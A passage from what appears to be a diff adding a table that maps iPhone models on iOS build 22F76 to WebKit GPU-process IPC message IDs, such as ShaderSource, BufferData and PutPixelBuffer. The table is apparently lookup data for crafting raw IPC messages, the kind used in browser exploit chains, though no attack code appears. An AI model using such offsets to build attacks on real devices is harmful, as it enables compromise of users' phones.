RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, +"iPhone12,5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + + "iPhone12,8_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone13,1_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone13,2_3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, +"iPhone13,3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + + "iPhone13,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,2_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,3_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,4_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,5_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,6_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,7_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb + }, + "iPhone14,8_22F76": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + RemoteRenderingBackend_CacheFont: 0x5a9, + 